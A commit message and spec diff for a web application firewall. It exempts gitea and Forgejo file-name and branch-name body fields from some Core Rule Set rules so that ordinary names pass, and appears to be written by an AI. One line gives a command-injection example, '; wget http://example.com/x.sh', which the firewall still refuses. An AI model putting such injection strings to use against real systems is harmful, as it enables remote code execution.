Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- the web editor's tree_path, commit_summary and content;
- every field that names a branch, for Windows commands and command
  names: new_branch_name, old_branch_name, old_ref_name, from, to, head,
  base, branch and new_branch;
- message of a file changed through the API, for system files and
  Windows commands.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5

SPEC.md

@@ -884,6 +884,34 @@ The changes hold in front of every app, and no setting undoes them:
         - to start a release from a tag;
         - to edit a branch protection rule;
         - to list a directory's last commits.
+    - A file or branch name in a body field:
+        - `tree_path` of the web editor's save, new file and delete, for system
+          files, Windows commands and command names (930120, 932120, 932260);
+        - `commit_summary` there, for system files and Windows commands (930120,
+          932120);
+        - `content` there, the file's text, for a Unix command at the start of a
+          line (932235);
+        - `message` of a file created, changed or deleted through the API, for
+          system files and Windows commands (930120, 932120).
+
+        Each field that names a branch skips the lists of Windows commands and
+        command names (932120, 932260):
+        - `new_branch_name` of the web editor's save, new file and delete, a new
+          branch for the commit;
+        - `new_branch_name` of a branch created on the web or through the API;
+        - `old_branch_name` and `old_ref_name` of a branch created through the
+          API, which name where it starts;
+        - `from` and `to` of a branch renamed on the web;
+        - `head` and `base` of a pull request opened through the API;
+        - `branch` and `new_branch` of a file created, changed or deleted
+          through the API.
+
+        Names such as `docker-compose.yml`, `.htaccess`, `feat/docker-support`
+        and `fix-powershell-module` were refused.
+        `; wget http://example.com/x.sh` and path traversal are still refused in
+        these fields. These exclusions matter only while `SWW_WAF_BODY_LIMIT` is
+        set. None applies when the query has a parameter of the same name.
+
     - The `Content-Range` header of an artifact upload from
       `actions/upload-artifact@v3` (920450).
     - The passwords in a body, for each rule that random passwords set off. The
@@ -1589,11 +1617,13 @@ The changes hold in front of every app, and no setting undoes them:
     `/index.php/`. Elsewhere these fields keep every rule. An app other than
     Nextcloud that serves one of these paths must check these fields itself.
 
-15. On Forgejo's paths, `q` on some of its searches skips the rules that refused
-    ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth
-    change applies to its requests too. This change holds only what Forgejo
-    sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each
-    rule and the search it refused. The searches are:
+15. On Forgejo's paths, some fields skip the rules that refused ordinary Forgejo
+    requests there. Forgejo is a fork of gitea, and the eighth change applies to
+    its requests too. This change holds only what Forgejo sends and gitea does
+    not. `internal/coreruleset/forgejo.conf` lists each rule and the request it
+    refused.
+
+    `q` skips rules on some of Forgejo's searches. The searches are:
     - the search of a wiki, on `/<owner>/<repo>/wiki/search`;
     - the search of a repository's releases, on `/<owner>/<repo>/releases` and
       `/api/v1/repos/<owner>/<repo>/releases`;
@@ -1624,6 +1654,12 @@ The changes hold in front of every app, and no setting undoes them:
     These paths are matched at the site root. An app other than Forgejo that
     serves one of them must check `q` and `Referer` itself.
 
+    Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
+    gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path,
+    `from` and `to` skip the lists of Windows commands and command names
+    (932120, 932260), which refused `fix-powershell-module` and
+    `feat/docker-support`. This matters only while `SWW_WAF_BODY_LIMIT` is set.
+
 The parameter and cookie names in these changes are matched without regard to
 case, as Coraza matches them.